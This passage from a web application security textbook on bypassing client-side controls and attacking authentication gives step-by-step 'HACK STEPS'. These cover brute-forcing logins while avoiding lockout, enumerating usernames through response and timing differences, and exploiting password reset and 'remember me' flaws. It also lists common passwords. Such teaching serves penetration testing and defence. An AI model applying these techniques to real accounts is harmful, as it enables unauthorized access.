being ordered. If users know and/or control the plaintext value of encrypted strings that are sent to them, they may be able to mount various cryptographic attacks to discover the encryption key the server is using. Having done this, they can encrypt arbitrary values and fully circumvent the protection offered by the solution. c05.indd 154c05.indd 154 8/19/2011 12:05:45 PM8/19/2011 12:05:45 PMStuttard c05.indd V3 - 07/22/2011 Page 155 Chapter 5 Bypassing Client-Side Controls 155 In applications running on the ASP.NET platform, it is advisable never to store any customized data within the ViewState — especially anything sensi- tive that you would not want to be displayed on-screen to users. The option to enable the ViewState MAC should always be activated. Validating Client-Generated Data Data generated on the client and transmitted to the server cannot in principle be validated securely on the client: Lightweight client-side controls such as HTML form fi elds and JavaScript can be circumvented easily and provide no assurance about the input that the server receives. Controls implemented in browser extension components are sometimes more diffi cult to circumvent, but this may merely slow down an attacker for a short period. Using heavily obfuscated or packed client-side code provides additional obstacles; however, a determined attacker can always overcome these. (A point of comparison in other areas is the use of DRM technologies to prevent users from copying digital media fi les. Many companies have invested heavily in these client-side controls, and each new solution usu- ally is broken within a short time.) The only secure way to validate client-generated data is on the server side of the application. Every item of data received from the client should be regarded as tainted and potentially malicious. COMMON MYTH It is sometimes believed that any use of client-side controls is bad. In particu- lar, some professional penetration testers report the presence of client-side controls as a “fi nding” without verifying whether they are replicated on the server or whether there is any non-security explanation for their existence. In fact, despite the signifi cant caveats arising from the various attacks described in this chapter, there are nevertheless ways to use client-side controls that do not give rise to any security vulnerabilities: Client-side scripts can be used to validate input as a means of enhanc- ing usability, avoiding the need for round-trip communication with the server. For example, if the user enters her date of birth in an incorrect format, alerting her to the problem via a client-side script provides a much more seamless experience. Of course, the application must revali- date the item submitted when it arrives at the server. Continued c05.indd 155c05.indd 155 8/19/2011 12:05:45 PM8/19/2011 12:05:45 PMStuttard c05.indd V3 - 07/22/2011 Page 156 156 Chapter 5 Bypassing Client-Side Controls Sometimes client-side data validation can be effective as a security measure — for example, as a defense against DOM-based cross-site scripting attacks. However, these are cases where the focus of the attack is another application user, rather than the server-side application, and exploiting a potential vulnerability does not necessarily depend on transmitting any malicious data to the server. See Chapters 12 and 13 for more details on this kind of scenario. As described previously, there are ways of transmitting encrypted data via the client that are not vulnerable to tampering or replay attacks. Logging and Alerting When an application employs mechanisms such as length limits and JavaScript- based validation to enhance performance and usability, these should be inte- grated with server-side intrusion detection defenses. The server-side logic that performs validation of client-submitted data should be aware of the validation that has already occurred on the client side. If data that would have been blocked by client-side validation is received, the application may infer that a user is actively circumventing this validation and therefore is likely to be malicious. Anomalies should be logged and, if appropriate, application administrators should be alerted in real time so that they can monitor any attempted attack and take suitable action as required. The application may also actively defend itself by terminating the user’s session or even suspending his account. NOTE In some cases where JavaScript is employed, the application still can be used by users who have disabled JavaScript within their browsers. In this situation, the browser simply skips JavaScript-based form validation code, and the raw input entered by the user is submitted. To avoid false positives, the log- ging and alerting mechanism should be aware of where and how this can arise. Summary Virtually all client/server applications must accept the fact that the client com- ponent, and all processing that occurs on it, cannot be trusted to behave as expected. As you have seen, the transparent communications methods gener- ally employed by web applications mean that an attacker equipped with simple tools and minimal skill can easily circumvent most controls implemented on the client. Even where an application attempts to obfuscate data and processing residing on the client side, a determined attacker can compromise these defenses. COMMON MYTH (continued) c05.indd 156c05.indd 156 8/19/2011 12:05:45 PM8/19/2011 12:05:45 PMStuttard c05.indd V3 - 07/22/2011 Page 157 Chapter 5 Bypassing Client-Side Controls 157 In every instance where you identify data being transmitted via the client, or validation of user-supplied input being implemented on the client, you should test how the server responds to unexpected data that bypasses those controls. Often, serious vulnerabilities lurk behind an application’s assumptions about the protection afforded to it by defenses that are implemented at the client. Questions Answers can be found at http://mdsec.net/wahh. 1. How can data be transmitted via the client in a way that prevents tamper- ing attacks? 2. An application developer wants to stop an attacker from performing brute- force attacks against the login function. Because the attacker may target multiple usernames, the developer decides to store the number of failed attempts in an encrypted cookie, blocking any request if the number of failed attempts exceeds fi ve. How can this defense be bypassed? 3. An application contains an administrative page that is subject to rigor- ous access controls. It contains links to diagnostic functions located on a different web server. Access to these functions should also be restricted to administrators only. Without implementing a second authentication mechanism, which of the following client-side mechanisms (if any) could be used to safely control access to the diagnostic functionality? Do you need any more information to help choose a solution? (a) The diagnostic functions could check the HTTP Referer header to confi rm that the request originated on the main administrative page. (b) The diagnostic functions could validate the supplied cookies to confi rm that these contain a valid session token for the main application. (c) The main application could set an authentication token in a hidden fi eld that is included within the request. The diagnostic function could vali- date this to confi rm that the user has a session on the main application. 4. If a form fi eld includes the attribute disabled=true, it is not submitted with the rest of the form. How can you change this behavior? 5. Are there any means by which an application can ensure that a piece of input validation logic has been run on the client? c05.indd 157c05.indd 157 8/19/2011 12:05:45 PM8/19/2011 12:05:45 PMStuttard c05.indd V3 - 07/22/2011 Page 158 c05.indd 158c05.indd 158 8/19/2011 12:05:46 PM8/19/2011 12:05:46 PMStuttard c06.indd V3 - 07/22/2011 Page 159 159 CHAPTER 6 Attacking Authentication On the face of it, authentication is conceptually among the simplest of all the security mechanisms employed within web applications. In the typical case, a user supplies her username and password, and the application must verify that these items are correct. If so, it lets the user in. If not, it does not. Authentication also lies at the heart of an application’s protection against malicious attack. It is the front line of defense against unauthorized access. If an attacker can defeat those defenses, he will often gain full control of the applica- tion’s functionality and unrestricted access to the data held within it. Without robust authentication to rely on, none of the other core security mechanisms (such as session management and access control) can be effective. In fact, despite its apparent simplicity, devising a secure authentication func- tion is a subtle business. In real-world web applications authentication often is the weakest link, which enables an attacker to gain unauthorized access. The authors have lost count of the number of applications we have fundamentally compromised as a result of various defects in authentication logic. This chapter looks in detail at the wide variety of design and implementa- tion fl aws that commonly affl ict web applications. These typically arise because application designers and developers fail to ask a simple question: What could an attacker achieve if he targeted our authentication mechanism? In the majority of cases, as soon as this question is asked in earnest of a particular application, a number of potential vulnerabilities materialize, any one of which may be suffi cient to break the application. c06.indd 159c06.indd 159 8/19/2011 12:06:36 PM8/19/2011 12:06:36 PMStuttard c06.indd V3 - 07/22/2011 Page 160 160 Chapter 6 Attacking Authentication Many of the most common authentication vulnerabilities are no-brainers. Anyone can type dictionary words into a login form in an attempt to guess valid passwords. In other cases, subtle defects may lurk deep within the appli- cation’s processing that can be uncovered and exploited only after painstaking analysis of a complex multistage login mechanism. We will describe the full spectrum of these attacks, including techniques that have succeeded in breaking the authentication of some of the most security-critical and robustly defended web applications on the planet. Authentication Technologies A wide range of technologies are available to web application developers when implementing authentication mechanisms: HTML forms-based authentication Multifactor mechanisms, such as those combining passwords and physi- cal tokens Client SSL certifi cates and/or smartcards HTTP basic and digest authentication Windows-integrated authentication using NTLM or Kerberos Authentication services By far the most common authentication mechanism employed by web applica- tions uses HTML forms to capture a username and password and submit these to the application. This mechanism accounts for well over 90% of applications you are likely to encounter on the Internet. In more security-critical Internet applications, such as online banking, this basic mechanism is often expanded into multiple stages, requiring the user to submit additional credentials, such as a PIN or selected characters from a secret word. HTML forms are still typically used to capture relevant data. In the most security-critical applications, such as private banking for high-worth individuals, it is common to encounter multifactor mechanisms using physical tokens. These tokens typically produce a stream of one-time passcodes or per- form a challenge-response function based on input specifi ed by the application. As the cost of this technology falls over time, it is likely that more applications will employ this kind of mechanism. However, many of these solutions do not actually address the threats for which they were devised — primarily phishing attacks and those employing client-side Trojans. Some web applications employ client-side SSL certifi cates or cryptographic mechanisms implemented within smartcards. Because of the overhead of adminis- tering and distributing these items, they are typically used only in security-critical c06.indd 160c06.indd 160 8/19/2011 12:06:37 PM8/19/2011 12:06:37 PMStuttard c06.indd V3 - 07/22/2011 Page 161 Chapter 6 Attacking Authentication 161 contexts where an application’s user base is small, such as web-based VPNs for remote offi ce workers. The HTTP-based authentication mechanisms (basic, digest, and Windows- integrated) are rarely used on the Internet. They are much more commonly encountered in intranet environments where an organization’s internal users gain access to corporate applications by supplying their normal network or domain credentials. The application then processes these credentials using one of these technologies. Third-party authentication services such as Microsoft Passport are occasion- ally encountered, but at the present time they have not been adopted on any signifi cant scale. Most of the vulnerabilities and attacks that arise in relation to authentication can be applied to any of the technologies mentioned. Because of the overwhelm- ing dominance of HTML forms-based authentication, we will describe each specifi c vulnerability and attack in that context. Where relevant, we will point out any specifi c differences and attack methodologies that are relevant to the other available technologies. Design Flaws in Authentication Mechanisms Authentication functionality is subject to more design weaknesses than any other security mechanism commonly employed in web applications. Even in the apparently simple, standard model where an application authenticates users based on their username and password, shortcomings in the design of this model can leave the application highly vulnerable to unauthorized access. Bad Passwords Many web applications employ no or minimal controls over the quality of users’ passwords. It is common to encounter applications that allow passwords that are: Very short or blank Common dictionary words or names The same as the username Still set to a default value Figure 6-1 shows an example of weak password quality rules. End users typi- cally display little awareness of security issues. Hence, it is highly likely that an application that does not enforce strong password standards will contain a large number of user accounts with weak passwords set. An attacker can easily guess these account passwords, granting him or her unauthorized access to the application. c06.indd 161c06.indd 161 8/19/2011 12:06:37 PM8/19/2011 12:06:37 PMStuttard c06.indd V3 - 07/22/2011 Page 162 162 Chapter 6 Attacking Authentication Figure 6-1: An application that enforces weak password quality rules HACK STEPS Attempt to discover any rules regarding password quality: 1. Review the website for any description of the rules. 2. If self-registration is possible, attempt to register several accounts with different kinds of weak passwords to discover what rules are in place. 3. If you control a single account and password change is possible, attempt to change your password to various weak values. NOTE If password quality rules are enforced only through client-side con- trols, this is not itself a security issue, because ordinary users will still be protected. It is not normally a threat to an application’s security that a crafty attacker can assign himself a weak password. TRY IT! http://mdsec.net/auth/217/ Brute-Forcible Login Login functionality presents an open invitation for an attacker to try to guess usernames and passwords and therefore gain unauthorized access to the appli- cation. If the application allows an attacker to make repeated login attempts c06.indd 162c06.indd 162 8/19/2011 12:06:37 PM8/19/2011 12:06:37 PMStuttard c06.indd V3 - 07/22/2011 Page 163 Chapter 6 Attacking Authentication 163 with different passwords until he guesses the correct one, it is highly vulnerable even to an amateur attacker who manually enters some common usernames and passwords into his browser. Recent compromises of high-profi le sites have provided access to hundreds of thousands of real-world passwords that were stored either in cleartext or using brute-forcible hashes. Here are the most popular real-world passwords: password website name 12345678 qwerty abc123 111111 monkey 12345 letmein NOTE Administrative passwords may in fact be weaker than the password policy allows. They may have been set before the policy was in force, or they may have been set up through a different application or interface. In this situation, any serious attacker will use automated techniques to attempt to guess passwords, based on lengthy lists of common values. Given today’s bandwidth and processing capabilities, it is possible to make thousands of login attempts per minute from a standard PC and DSL connection. Even the most robust passwords will eventually be broken in this scenario. Various techniques and tools for using automation in this way are described in detail in Chapter 14. Figure 6-2 shows a successful password-guessing attack against a single account using Burp Intruder. The successful login attempt can be clearly distinguished by the difference in the HTTP response code, the response length, and the absence of the “login incorrect” message. In some applications, client-side controls are employed in an attempt to prevent password-guessing attacks. For example, an application may set a cookie such as failedlogins=1 and increment it following each unsuccess- ful attempt. When a certain threshold is reached, the server detects this in the submitted cookie and refuses to process the login attempt. This kind of client-side defense may prevent a manual attack from being launched using only a browser, but it can, of course, be bypassed easily, as described in Chapter 5. c06.indd 163c06.indd 163 8/19/2011 12:06:37 PM8/19/2011 12:06:37 PMStuttard c06.indd V3 - 07/22/2011 Page 164 164 Chapter 6 Attacking Authentication Figure 6-2: A successful password-guessing attack A variation on the preceding vulnerability occurs when the failed login counter is held within the current session. Although there may be no indication of this on the client side, all the attacker needs to do is obtain a fresh session (for example, by withholding his session cookie), and he can continue his password-guessing attack. Finally, in some cases, the application locks out a targeted account after a suitable number of failed logins. However, it responds to additional login attempts with messages that indicate (or allow an attacker to infer) whether the supplied password was correct. This means that an attacker can complete his password-guessing attack even though the targeted account is locked out. If the application automatically unlocks accounts after a certain delay, the attacker simply needs to wait for this to occur and then log in as usual with the discovered password. HACK STEPS 1. Manually submit several bad login attempts for an account you control, monitoring the error messages you receive. 2. After about 10 failed logins, if the application has not returned a message about account lockout, attempt to log in correctly. If this succeeds, there is probably no account lockout policy. c06.indd 164c06.indd 164 8/19/2011 12:06:37 PM8/19/2011 12:06:37 PMStuttard c06.indd V3 - 07/22/2011 Page 165 Chapter 6 Attacking Authentication 165 3. If the account is locked out, try repeating the exercise using a different account. This time, if the application issues any cookies, use each cookie for only a single login attempt, and obtain a new cookie for each subse- quent login attempt. 4. Also, if the account is locked out, see whether submitting the valid pass- word causes any difference in the application’s behavior compared to an invalid password. If so, you can continue a password-guessing attack even if the account is locked out. 5. If you do not control any accounts, attempt to enumerate a valid user- name (see the next section) and make several bad logins using this. Monitor for any error messages about account lockout. 6. To mount a brute-force attack, first identify a difference in the applica- tion’s behavior in response to successful and failed logins. You can use this fact to discriminate between success and failure during the course of the automated attack. 7. Obtain a list of enumerated or common usernames and a list of common passwords. Use any information obtained about password quality rules to tailor the password list so as to avoid superfluous test cases. 8. Use a suitable tool or a custom script to quickly generate login requests using all permutations of these usernames and passwords. Monitor the server’s responses to identify successful login attempts. Chapter 14 describes in detail various techniques and tools for performing custom- ized attacks using automation. 9. If you are targeting several usernames at once, it is usually preferable to perform this kind of brute-force attack in a breadth-first rather than depth-first manner. This involves iterating through a list of passwords (starting with the most common) and attempting each password in turn on every username. This approach has two benefits. First, you discover accounts with common passwords more quickly. Second, you are less likely to trigger any account lockout defenses, because there is a time delay between successive attempts using each individual account. TRY IT! http://mdsec.net/auth/16/ http://mdsec.net/auth/32/ http://mdsec.net/auth/46/ http://mdsec.net/auth/49/ c06.indd 165c06.indd 165 8/19/2011 12:06:37 PM8/19/2011 12:06:37 PMStuttard c06.indd V3 - 07/22/2011 Page 166 166 Chapter 6 Attacking Authentication Verbose Failure Messages A typical login form requires the user to enter two pieces of information — a username and password. Some applications require several more, such as date of birth, a memorable place, or a PIN. When a login attempt fails, you can of course infer that at least one piece of information was incorrect. However, if the application tells you which piece of information was invalid, you can exploit this behavior to considerably diminish the effectiveness of the login mechanism. In the simplest case, where a login requires a username and password, an application might respond to a failed login attempt by indicating whether the reason for the failure was an unrecognized username or the wrong password, as illustrated in Figure 6-3. Figure 6-3: Verbose login failure messages indicating when a valid username has been guessed In this instance, you can use an automated attack to iterate through a large list of common usernames to enumerate which ones are valid. Of course, user- names normally are not considered a secret (they are not masked during login, for instance). However, providing an easy means for an attacker to identify valid usernames increases the likelihood that he will compromise the application given enough time, skill, and effort. A list of enumerated usernames can be used as the basis for various subsequent attacks, including password guessing, attacks on user data or sessions, or social engineering. In addition to the primary login function, username enumeration can arise in other components of the authentication mechanism. In principle, any func- tion where an actual or potential username is submitted can be leveraged for this purpose. One location where username enumeration is commonly found is the user registration function. If the application allows new users to register and specify their own usernames, username enumeration is virtually impos- sible to prevent if the application is to prevent duplicate usernames from being registered. Other locations where username enumeration are sometimes found c06.indd 166c06.indd 166 8/19/2011 12:06:37 PM8/19/2011 12:06:37 PMStuttard c06.indd V3 - 07/22/2011 Page 167 Chapter 6 Attacking Authentication 167 are the password change and forgotten password functions, as described later in this chapter. NOTE Many authentication mechanisms disclose usernames either implic- itly or explicitly. In a web mail account, the username is often the e-mail address, which is common knowledge by design. Many other sites expose usernames within the application without considering the advantage this grants to an attacker, or generate usernames in a way that can be predicted (for example, user1842, user1843, and so on). In more complex login mechanisms, where an application requires the user to submit several pieces of information, or proceed through several stages, verbose failure messages or other discriminators can enable an attacker to target each stage of the login process in turn, increasing the likelihood that he will gain unauthorized access. NOTE This vulnerability may arise in more subtle ways than illustrated here. Even if the error messages returned in response to a valid and invalid username are superfi cially similar, there may be small differences between them that can be used to enumerate valid usernames. For example, if multiple code paths within the application return the “same” failure message, there may be minor typographical differences between each instance of the message. In some cases, the application’s responses may be identical on-screen but contain subtle differ- ences hidden within the HTML source, such as comments or layout differences. If no obvious means of enumerating usernames presents itself, you should perform a close comparison of the application’s responses to valid and invalid usernames. You can use the Comparer tool within Burp Suite to automatically analyze and highlight the differences between two application responses, as shown in Figure 6-4. This helps you quickly identify whether the username’s validity results in any systematic difference in the application’s responses. Figure 6-4: Identifying subtle differences in application responses using Burp Comparer c06.indd 167c06.indd 167 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 168 168 Chapter 6 Attacking Authentication HACK STEPS 1. If you already know one valid username (for example, an account you control), submit one login using this username and an incorrect password, and another login using a random username. 2. Record every detail of the server’s responses to each login attempt, including the status code, any redirects, information displayed on- screen, and any differences hidden in the HTML page source. Use your intercepting proxy to maintain a full history of all traffic to and from the server. 3. Attempt to discover any obvious or subtle differences in the server’s responses to the two login attempts. 4. If this fails, repeat the exercise everywhere within the application where a username can be submitted (for example, self-registration, password change, and forgotten password). 5. If a difference is detected in the server’s responses to valid and invalid usernames, obtain a list of common usernames. Use a custom script or automated tool to quickly submit each username, and filter the responses that signify that the username is valid (see Chapter 14). 6. Before commencing your enumeration exercise, verify whether the appli- cation performs any account lockout after a certain number of failed login attempts (see the preceding section). If so, it is desirable to design your enumeration attack with this fact in mind. For example, if the application will grant you only three failed login attempts with any given account, you run the risk of “wasting” one of these for every username you discover through automated enumeration. Therefore, when performing your enu- meration attack, do not submit a far-fetched password with each login attempt. Instead, submit either a single common password such as pass- word1 or the username itself as the password. If password quality rules are weak, it is highly likely that some of the attempted logins you perform as part of your enumeration exercise will succeed and will disclose both the username and password in a single hit. To set the password field to be the same as the username, you can use the “battering ram” attack mode in Burp Intruder to insert the same payload at multiple positions in your login request. Even if an application’s responses to login attempts containing valid and invalid usernames are identical in every intrinsic respect, it may still be possible to enumerate usernames based on the time taken for the application to respond to the login request. Applications often perform very different back-end pro- cessing on a login request, depending on whether it contains a valid username. For example, when a valid username is submitted, the application may retrieve user details from a back-end database, perform various processing on these c06.indd 168c06.indd 168 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 169 Chapter 6 Attacking Authentication 169 details (for example, checking whether the account is expired), and then validate the password (which may involve a resource-intensive hash algorithm) before returning a generic message if the password is incorrect. The timing difference between the two responses may be too subtle to detect when working with only a browser, but an automated tool may be able to discriminate between them. Even if the results of such an exercise contain a large ratio of false positives, it is still better to have a list of 100 usernames, approximately 50% of which are valid, than a list of 10,000 usernames, approximately 0.5% of which are valid. See Chapter 15 for a detailed explanation of how to detect and exploit this type of timing difference to extract information from the application. TIP In addition to the login functionality itself, there may be other sources of information where you can obtain valid usernames. Review all the source code comments discovered during application mapping (see Chapter 4) to identify any apparent usernames. Any e-mail addresses of developers or other personnel within the organization may be valid usernames, either in full or just the user- specifi c prefi x. Any accessible logging functionality may disclose usernames. TRY IT! http://mdsec.net/auth/53/ http://mdsec.net/auth/59/ http://mdsec.net/auth/70/ http://mdsec.net/auth/81/ http://mdsec.net/auth/167/ Vulnerable Transmission of Credentials If an application uses an unencrypted HTTP connection to transmit login cre- dentials, an eavesdropper who is suitably positioned on the network can, of course, intercept them. Depending on the user’s location, potential eavesdrop- pers may reside: On the user’s local network Within the user’s IT department Within the user’s ISP On the Internet backbone Within the ISP hosting the application Within the IT department managing the application c06.indd 169c06.indd 169 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 170 170 Chapter 6 Attacking Authentication NOTE Any of these locations may be occupied by authorized personnel but also potentially by an external attacker who has compromised the relevant infrastructure through some other means. Even if the intermediaries on a par- ticular network are believed to be trusted, it is safer to use secure transport mechanisms when passing sensitive data over it. Even if login occurs over HTTPS, credentials may still be disclosed to unau- thorized parties if the application handles them in an unsafe manner: If credentials are transmitted as query string parameters, as opposed to in the body of a POST request, these are liable to be logged in various places, such as within the user’s browser history, within the web server logs, and within the logs of any reverse proxies employed within the hosting infrastructure. If an attacker succeeds in compromising any of these resources, he may be able to escalate privileges by capturing the user credentials stored there. Although most web applications do use the body of a POST request to submit the HTML login form itself, it is surprisingly common to see the login request being handled via a redirect to a different URL with the same credentials passed as query string parameters. Why application develop- ers consider it necessary to perform these bounces is unclear, but having elected to do so, it is easier to implement them as 302 redirects to a URL than as POST requests using a second HTML form submitted via JavaScript. Web applications sometimes store user credentials in cookies, usually to implement poorly designed mechanisms for login, password change, “remember me,” and so on. These credentials are vulnerable to capture via attacks that compromise user cookies and, in the case of persistent cookies, by anyone who gains access to the client’s local fi lesystem. Even if the credentials are encrypted, an attacker still can simply replay the cookie and therefore log in as a user without actually knowing her credentials. Chapters 12 and 13 describe various ways in which an attacker can target other users to capture their cookies. Many applications use HTTP for unauthenticated areas of the application and switch to HTTPS at the point of login. If this is the case, then the correct place to switch to HTTPS is when the login page is loaded in the browser, enabling a user to verify that the page is authentic before entering credentials. However, it is common to encounter applications that load the login page itself using HTTP and then switch to HTTPS at the point where credentials are submitted. This is unsafe, because a user cannot verify the authenticity of the login page itself and therefore has no assurance that the credentials will be submitted securely. A suitably positioned attacker can intercept and modify the login page, chang- ing the target URL of the login form to use HTTP. By the time an astute user realizes that the credentials have been submitted using HTTP, they will have been compromised. c06.indd 170c06.indd 170 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 171 Chapter 6 Attacking Authentication 171 HACK STEPS 1. Carry out a successful login while monitoring all traffic in both directions between the client and server. 2. Identify every case in which the credentials are transmitted in either direction. You can set interception rules in your intercepting proxy to flag messages containing specific strings (see Chapter 20). 3. If any instances are found in which credentials are submitted in a URL query string or as a cookie, or are transmitted back from the server to the client, understand what is happening, and try to ascertain what purpose the application developers were attempting to achieve. Try to find every means by which an attacker might interfere with the application’s logic to compromise other users’ credentials. 4. If any sensitive information is transmitted over an unencrypted channel, this is, of course, vulnerable to interception. 5. If no cases of actual credentials being transmitted insecurely are iden- tified, pay close attention to any data that appears to be encoded or obfuscated. If this includes sensitive data, it may be possible to reverse- engineer the obfuscation algorithm. 6. If credentials are submitted using HTTPS but the login form is loaded using HTTP, the application is vulnerable to a man-in-the-middle attack, which may be used to capture credentials. TRY IT! http://mdsec.net/auth/88/ http://mdsec.net/auth/90/ http://mdsec.net/auth/97/ Password Change Functionality Surprisingly, many web applications do not provide any way for users to change their password. However, this functionality is necessary for a well-designed authentication mechanism for two reasons: Periodic enforced password change mitigates the threat of password com- promise. It reduces the window in which a given password can be targeted in a guessing attack. It also reduces the window in which a compromised password can be used without detection by the attacker. Users who suspect that their passwords may have been compromised need to be able to quickly change their password to reduce the threat of unauthorized use. c06.indd 171c06.indd 171 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 172 172 Chapter 6 Attacking Authentication Although it is a necessary part of an effective authentication mechanism, password change functionality is often vulnerable by design. Vulnerabilities that are deliberately avoided in the main login function often reappear in the password change function. Many web applications’ password change functions are accessible without authentication and do the following: Provide a verbose error message indicating whether the requested user- name is valid. Allow unrestricted guesses of the “existing password” fi eld. Check whether the “new password” and “confi rm new password” fi elds have the same value only after validating the existing password, thereby allowing an attack to succeed in discovering the existing password noninvasively. A typical password change function includes a relatively large logical decision tree. The application needs to identify the user, validate the supplied existing password, integrate with any account lockout defenses, compare the supplied new passwords with each other and against password quality rules, and feed back any error conditions to the user in a suitable way. Because of this, pass- word change functions often contain subtle logic fl aws that can be exploited to subvert the entire mechanism. HACK STEPS 1. Identify any password change functionality within the application. If this is not explicitly linked from published content, it may still be imple- mented. Chapter 4 describes various techniques for discovering hidden content within an application. 2. Make various requests to the password change function using invalid usernames, invalid existing passwords, and mismatched “new password” and “confirm new password” values. 3. Try to identify any behavior that can be used for username enumeration or brute-force attacks (as described in the “Brute-Forcible Login” and “Verbose Failure Messages” sections). TIP If the password change form is accessible only by authenticated users and does not contain a username fi eld, it may still be possible to supply an arbitrary username. The form may store the username in a hidden fi eld, which can easily be modifi ed. If not, try supplying an additional parameter contain- ing the username, using the same parameter name as is used in the main login form. This trick sometimes succeeds in overriding the username of the current user, enabling you to brute-force the credentials of other users even when this is not possible at the main login. c06.indd 172c06.indd 172 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 173 Chapter 6 Attacking Authentication 173 TRY IT! http://mdsec.net/auth/104/ http://mdsec.net/auth/117/ http://mdsec.net/auth/120/ http://mdsec.net/auth/125/ http://mdsec.net/auth/129/ http://mdsec.net/auth/135/ Forgotten Password Functionality Like password change functionality, mechanisms for recovering from a forgot- ten password situation often introduce problems that may have been avoided in the main login function, such as username enumeration. In addition to this range of defects, design weaknesses in forgotten pass- word functions frequently make this the weakest link at which to attack the application’s overall authentication logic. Several kinds of design weaknesses can often be found: Forgotten password functionality often involves presenting the user with a secondary challenge in place of the main login, as shown in Figure 6-5. This challenge is often much easier for an attacker to respond to than attempting to guess the user’s password. Questions about mothers’ maiden names, memorable dates, favorite colors, and the like generally will have a much smaller set of potential answers than the set of possible passwords. Furthermore, they often concern information that is publicly known or that a determined attacker can discover with a modest degree of effort. Figure 6-5: A secondary challenge used in an account recovery function In many cases, the application allows users to set their own password recovery challenge and response during registration. Users are inclined c06.indd 173c06.indd 173 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 174 174 Chapter 6 Attacking Authentication to set extremely insecure challenges, presumably on the false assumption that only they will ever be presented with them. An example is “Do I own a boat?” In this situation, an attacker who wants to gain access can use an automated attack to iterate through a list of enumerated or common usernames, log all the password recovery challenges, and select those that appear most easily guessable. (See Chapter 14 for techniques regarding how to grab this kind of data in a scripted attack.) As with password change functionality, application developers commonly overlook the possibility of brute-forcing the response to a password recov- ery challenge, even when they block this attack on the main login page. If an application allows unrestricted attempts to answer password recovery challenges, it is highly likely to be compromised by a determined attacker. In some applications, the recovery challenge is replaced with a simple password “hint” that is confi gured by users during registration. Users commonly set extremely obvious hints, perhaps even one that is identi- cal to the password itself, on the false assumption that only they will ever see them. Again, an attacker with a list of common or enumerated usernames can easily capture a large number of password hints and then start guessing. The mechanism by which an application enables users to regain control of their account after correctly responding to a challenge is often vulnerable. One reasonably secure means of implementing this is to send a unique, unguessable, time-limited recovery URL to the e-mail address that the user provided during registration. Visiting this URL within a few minutes enables the user to set a new password. However, other mechanisms for account recovery are often encountered that are insecure by design: Some applications disclose the existing, forgotten password to the user after successful completion of a challenge, enabling an attacker to use the account indefi nitely without any risk of detection by the owner. Even if the account owner subsequently changes the blown password, the attacker can simply repeat the same challenge to obtain the new password. Some applications immediately drop the user into an authenticated session after successful completion of a challenge, again enabling an attacker to use the account indefi nitely without detection, and without ever needing to know the user’s password. Some applications employ the mechanism of sending a unique recov- ery URL but send this to an e-mail address specifi ed by the user at the time the challenge is completed. This provides absolutely no enhanced security for the recovery process beyond possibly logging the e-mail address used by an attacker. c06.indd 174c06.indd 174 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 175 Chapter 6 Attacking Authentication 175 TIP Even if the application does not provide an on-screen fi eld for you to pro- vide an e-mail address to receive the recovery URL, the application may transmit the address via a hidden form fi eld or cookie. This presents a double opportunity: you can discover the e-mail address of the user you have compromised, and you can modify its value to receive the recovery URL at an address of your choosing. Some applications allow users to reset their password’s value directly after successful completion of a challenge and do not send any e-mail notifi cation to the user. This means that the compromising of an account by an attacker will not be noticed until the owner attempts to log in again. It may even remain unnoticed if the owner assumes that she must have forgotten her password and therefore resets it in the same way. An attacker who simply desires some access to the application can then compromise a different user’s account for a period of time and therefore can continue using the application indefi nitely. HACK STEPS 1. Identify any forgotten password functionality within the application. If this is not explicitly linked from published content, it may still be imple- mented (see Chapter 4). 2. Understand how the forgotten password function works by doing a complete walk-through using an account you control. 3. If the mechanism uses a challenge, determine whether users can set or select their own challenge and response. If so, use a list of enumerated or common usernames to harvest a list of challenges, and review this for any that appear easily guessable. 4. If the mechanism uses a password “hint,” do the same exercise to harvest a list of password hints, and target any that are easily guessable. 5. Try to identify any behavior in the forgotten password mechanism that can be exploited as the basis for username enumeration or brute-force attacks (see the previous details). 6. If the application generates an e-mail containing a recovery URL in response to a forgotten password request, obtain a number of these URLs, and attempt to identify any patterns that may enable you to predict the URLs issued to other users. Employ the same techniques as are relevant to analyzing session tokens for predictability (see Chapter 7). TRY IT! http://mdsec.net/auth/142/ http://mdsec.net/auth/145/ http://mdsec.net/auth/151/ c06.indd 175c06.indd 175 8/19/2011 12:06:38 PM8/19/2011 12:06:38 PMStuttard c06.indd V3 - 07/22/2011 Page 176 176 Chapter 6 Attacking Authentication “Remember Me” Functionality Applications often implement “remember me” functions as a convenience to users. This way, users don’t need to reenter their username and password each time they use the application from a specifi c computer. These functions are often insecure by design and leave the user exposed to attack both locally and by users on other computers: Some “remember me” functions are implemented using a simple per- sistent cookie, such as RememberUser=daf (see Figure 6-6). When this cookie is submitted to the initial application page, the application trusts the cookie to authenticate the user, and it creates an application session for that person, bypassing the login. An attacker can use a list of common or enumerated usernames to gain full access to the application without any authentication. Figure 6-6: A vulnerable “remember me” function, which automatically logs in a user based solely on a username stored in a cookie c06.indd 176c06.indd 176 8/19/2011 12:06:39 PM8/19/2011 12:06:39 PMStuttard c06.indd V3 - 07/22/2011 Page 177 Chapter 6 Attacking Authentication 177 Some “remember me” functions set a cookie that contains not the username but a kind of persistent session identifi er, such as RememberUser=1328. When the identifi er is submitted to the login page, the application looks up the user associated with it and creates an application session for that user. As with ordinary session tokens, if the session identifi ers of other users can be predicted or extrapolated, an attacker can iterate through a large number of potential identifi ers to fi nd those associ- ated with application users, and therefore gain access to their accounts without authentication. See Chapter 7 for techniques for performing this attack. Even if the information stored for reidentifying users is suitably protected (encrypted) to prevent other users from determining or guessing it, the information may still be vulnerable to capture through a bug such as cross-site scripting (see Chapter 12), or by an attacker who has local access to the user’s computer. HACK STEPS 1. Activate any “remember me” functionality, and determine whether the functionality indeed does fully “remember” the user or whether it remem- bers only his username and still requires him to enter a password on sub- sequent visits. If the latter is the case, the functionality is much less likely to expose any security flaw. 2. Closely inspect all persistent cookies that are set, and also any data that is persisted in other local storage mechanisms, such as Internet 